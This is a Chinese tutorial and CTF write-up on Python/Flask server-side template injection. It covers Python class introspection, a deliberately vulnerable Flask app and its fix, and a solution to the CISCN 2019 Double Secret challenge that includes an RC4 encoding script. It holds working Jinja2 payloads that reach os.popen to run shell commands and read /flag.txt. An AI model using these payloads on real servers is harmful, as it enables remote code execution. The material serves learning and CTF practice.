提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
目录
前言
一、SSTI是什么?
二、关于Python的类
1、__class__类
2、__bases__
3、__subclasses__
4、还用到过的一些类
三、SSTI漏洞的简单复现
四、CTF例题:[CISCN 2019华东南]Double Secret
六、关于RC4加密:
总结
前言
提示:这里可以添加本文要记录的大概内容:
SSTI(Server-Side Template Injection)服务端模板注入是CTF中常见的考点,最近做题的时候又做到了,对于SSTI现在有了更深入的了解,所以写下这篇文章做个关于Python的SSTI浅显的总结。
提示:以下是本篇文章正文内容,下面案例可供参考
一、SSTI是什么?
SSTI是服务端模板注入漏洞,了解过Python的一些Web开发知识,其中的Flask,Django这些MVC框架时,用户输入的变量被接收后通过Controller处理,最后通过渲染返回给了View即HTML页面,而模板引擎处理一些变量时,未经过任何的处理即被编译执行渲染,导致了一些代码执行,信息泄露等。比如使用render_template渲染函数时,未经过处理就对用户输入的变量做了解析变换。
比如:{{7*7}}被解析成了49
二、关于Python的类
1、__class__类
__class__主要用于查看变量所属的类,像一些常用的字符类,字典,元组,列表等。
s = [1, 2, 3]
print(s.__class__)
s = 'abc'
print(s.__class__)
s = {'Aiwin': 1}
print(s.__class__)
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__)
输出:
2、__bases__
__bases__查看类所属的基本类,更多的一般是Object对象类,返回元组。
s = [1, 2, 3]
print(s.__class__.__bases__)
s = 'abc'
print(s.__class__.__mro__)
s = {'Aiwin': 1}
print(type(s.__class__.__bases__))
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__class__.__bases__[0])
输出:
(,)
(, )
输出的是元组,可以使用[number]来获取第几个类,__mro__类可显示类和基类。
3、__subclasses__
__subclasses__用于查看当前类的子类,也可以通过[number]查看指定的值,返回的是列表。
s = ({'Aiwin': 1}, [1, 2, 3])
print(type(s.__class__.__bases__[0].__subclasses__()))
k=s.__class__.__bases__[0].__subclasses__()
for i in k:
print(i)
输出:
-----------------
4、还用到过的一些类
__init__ 初始化类,返回是wrapper装饰器,即function
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身
__import__ 导入模块
__globals__ 获取函数空间下的module,方法,变量等
lipsum flask的方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块
__str()__ 返回描写对象的字符串
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在里面。
def add(a, b):
print(a + b)
print(add.__globals__)
print('---------')
s = ({'Aiwin': 1}, [1, 2, 3])
print(s.__str__)
class Person(object):
def __init__(self, name):
self.name = name
输出:
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001C95C206D00>, '__spec__': None, '__annotations__': {}, '__builtins__': , '__file__': 'C:\Users\25018\PycharmProjects\pythonProject3\flask\测试.py', '__cached__': None, 'add': }
---------
那么为什么需要类的知识呢,因为要通过SSTI注入漏洞来获取一些敏感信息甚至代码执行,需要利用这些各式的类或函数,执行危险的操作。
三、SSTI漏洞的简单复现
1,模板注入漏洞的条件:用户输入变量可控,使用了动态的模板
2,通过flask进行简单的复现
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route("/", methods=['GET'])
def root():
example = request.args.get('example')
template = """
SSTI-example
Welcome,%s
""" % example
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=8888)
存在SSTI模板注入,利用上面的类的方法构造进行一些危险操作。
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
{{lipsum.__globals__.__builtins__.__import__('os').popen('dir').read()}}
lipsum是flask模块的方法,config是python的一个类,通过带入os模块,进行dir目录的读取泄露。构造的方法还有很多。
像上图的flask存在SSTI漏洞,因为存在用户可控的example变量且用了不固定的模板,假若进行一些处理,引用固定的模板,则SSTI则被防御住了。
from flask import Flask, render_template, request, render_template_string
app = Flask(__name__)
@app.route("/", methods=['GET'])
def root():
example = request.args.get('example')
return render_template("index.html",example=example)
if __name__ == '__main__':
app.run(debug=True, host='127.0.0.1', port=8888)
templates/index.html
SSTI-example
Welcome,{{example}}
四、CTF例题:[CISCN 2019华东南]Double Secret
1,进入题目:
2,进行目录扫描,扫出了/secret,/robots.txt,/console目录
进入console目录,发现需要ping码
进入robots.txt目录,提示这是Android ctf
进入/secret:
想起题目是 double secret,应当可以传一个secret参数,随便传secret值,发现出现flask错误且传出报错信息,应当是SSTI模板注入,查看一些操作信息,发现
File "/app/app.py", line 35, in secret
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can't see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
这里源码泄露,利用Key=HereIsTreasure进行RC4的解密,然后渲染进模板,所以这里构造的payload需要进行利用RC4加密后传入,可以构造:
{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}对flag进行读取
3,上网找个RC4加密的脚本进行加密后传入:
import base64
from urllib.parse import quote
def rc4_main(key="init_key", message="init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("%s" % quote(cipher))
return str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')
rc4_main("HereIsTreasure",
"{{config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read()}}")
六、关于RC4加密:
RC4加密:RC4(来自Rivest Cipher 4的缩写)是一种流加密算法,密钥长度可变。它加解密使用相同的密钥,因此也属于对称加密算法。RC4是有线等效加密(WEP)中采用的加密算法,也曾经是TLS可采用的算法之一。
RC4加密的流程:
(1)初始化向量S,按照升序,每个字节赋值0,1,2,3...255
(2)初始密钥,进行密钥轮转,直到填满,如密钥是HereIsTreasure,则H,e,r,e,l...,H..
(3)对状态向量S进行置换操作(即盒子的生成)
j=0
for i in range(256):
j=(j+S[i]+T[i])%256 #T[i]是密钥的值
s_box[i], s_box[j] = s_box[j], s_box[i]
(4) 最好进行密钥流的生成和加密
def rc4_encrypt(plain):
i=j=0
for s in plain:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
k=S[t] #K就是当前生成的一个秘钥流中的一位
crypt_text=s^k #将密钥流的一位K和明文进行异或加密
总结
对于SSTI,出镜率较高的是flask/jinjia,对于其它语言,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,至于其它语言的SSTI,知识浅薄,见识到再说。


![SSTI简单总结和CISCN 2019华东南]Double Secret SSTI简单总结和CISCN 2019华东南]Double Secret](http://www.mshxw.com/aiimages/31/1022828.png)
